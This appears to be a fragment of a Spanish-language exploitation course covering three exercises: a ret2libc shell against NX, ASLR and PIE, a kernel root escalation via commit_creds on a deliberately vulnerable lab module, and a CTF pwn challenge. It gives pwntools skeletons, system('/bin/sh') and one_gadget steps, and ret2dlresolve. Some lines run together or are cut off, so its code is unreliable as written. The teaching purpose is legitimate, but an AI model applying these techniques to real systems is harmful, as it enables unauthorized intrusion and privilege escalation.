memcpy, índices, system).sprintf(buf, "%s", user) sin límite desborda buf si user es más largo; riesgo = stack/heap overflow. Mitigación: snprintf con tamaño.pattern: gets(...) con message/severity: ERROR → marca todo uso de gets.Objetivo: exploit completo contra un binario de laboratorio con NX+ASLR (y PIE si te atreves) que obtenga shell filtrando la base de libc en runtime, con fiabilidad ≥ 8/10.
Enfoque (lab propio):
checksec ./target para conocer las mitigaciones.python
from pwn import *
exe = context.binary = ELF("./target"); libc = ELF("./libc.so.6")
def conn(): return remote(args.HOST, int(args.PORT)) if args.REMOTE else process(exe.path)
io = conn()
libc.address = leak - libc.symbols["puts"].system("/bin/sh") (o one_gadget), cuidando alineación de 16 bytes.exe.address = code_leak - offset). Si no conoces la libc, libc-database o ret2dlresolve.Evidencia que cumple el criterio: ./exploit.py da shell interactiva de forma fiable (≥8/10 corridas) con ASLR activo, calculando la base dinámicamente desde el leak.
def conn(): return remote(...) if args.REMOTE else process(...) alterna local/remoto sin reescribir.libc-database: ./find <símbolo> <últimos nibbles> → identifica versión → ./download para offsets exactos.one_gadget libc.so.6 da direcciones con constraints (p. ej. [rsp+0x40]==NULL); se elige una cuyas condiciones se cumplan en el punto del salto y se salta a libc.address + og.rop.ret2dlresolve(Ret2dlresolvePayload(exe, symbol="system", args=["/bin/sh"])) fuerza al enlazador a resolver system sin leak de libc.for _ in range(20): try: ... except: continue midiendo cuántas corridas dan shell = fiabilidad.Objetivo: en tu VM con un módulo vulnerable propio, escalar a root mediante commit_creds(prepare_kernel_cred(0)), con KASLR desactivado en el primer intento; un id posterior muestra uid=0(root) y el sistema sigue estable.
Enfoque (VM/QEMU, snapshot previo):
copy_from_user sin acotar (bug deliberado) que exponga un ioctl/write vulnerable; cárgalo con insmod.-append "console=ttyS0 nokaslr" para direcciones estables en el primer ejercicio.commit_creds(prepare_kernel_cred(0)) (RDI=0 → prepare_kernel_cred devuelve cred de root en RAX → pasarlo a commit_creds) y retorna limpiamente a user-space guardando/restaurando el estado (swapgs/iretq con CS/SS/RFLAGS/RSP/RIP correctos).id.Evidencia que cumple el criterio: id en la VM muestra uid=0(root) y el sistema no entra en panic (retorno a user-space correcto). Con nokaslr las direcciones de commit_creds/prepare_kernel_cred se leen de /proc/kallsyms (o del System.map).
ioctl de drivers, sistemas de ficheros/pseudo-FS (/proc, /sys), y subsistema de red (netlink, sockets).prepare_kernel_cred(0) crea una nueva estructura cred con privilegios de root; commit_creds() la instala en el proceso actual → el proceso pasa a uid=0.nokaslr, las direcciones del kernel son fijas entre arranques; sin él (kaslr), la base cambia cada boot y hace falta un leak de una dirección de kernel para recalcularlas.swapgs_restore_regs_and_return_to_usermode) en vez de un iretq directo, o el retorno falla.nftables) → clase de bug: use-after-free que permite reasignar un objeto con punteros de función controlados.Objetivo: resolver de principio a fin un reto de pwn con objetivo remoto (plataforma de práctica), obtener la flag y entregar exploit + writeup.
Enfoque (entorno autorizado por diseño):
file chall && checksec ./chall && strings chall | head; abre en Ghidra para localizar la función vulnerable.python
from pwn import *
exe = context.binary = ELF("./chall")
def conn(): return remote("chall.ctf.io", 1337) if args.REMOTE else process(exe.path)
io = conn()
# ... payload segun la primitiva ...
io.sendline(payload); io.interactive()
python3 exploit.py REMOTE usando la misma libc del reto.Evidencia que cumple el criterio: exploit.py REMOTE recupera la flag del servidor y el writeup explica bug, primitiva y cadena de explotación de forma reproducible.
win/system).io.sendlineafter(b"pregunta> ", payload) sincroniza el envío con la salida esperada.libc-database (./find), descárgala y ajusta offsets/libc.address.ret2win: overflow → dirección de ret2win/win. split: reunir system + cadena /bin/cat flag.txt presente en el binario mediante pop rdi.Fin de la Parte 5. Continúa con la Parte 6 — Análisis de malware.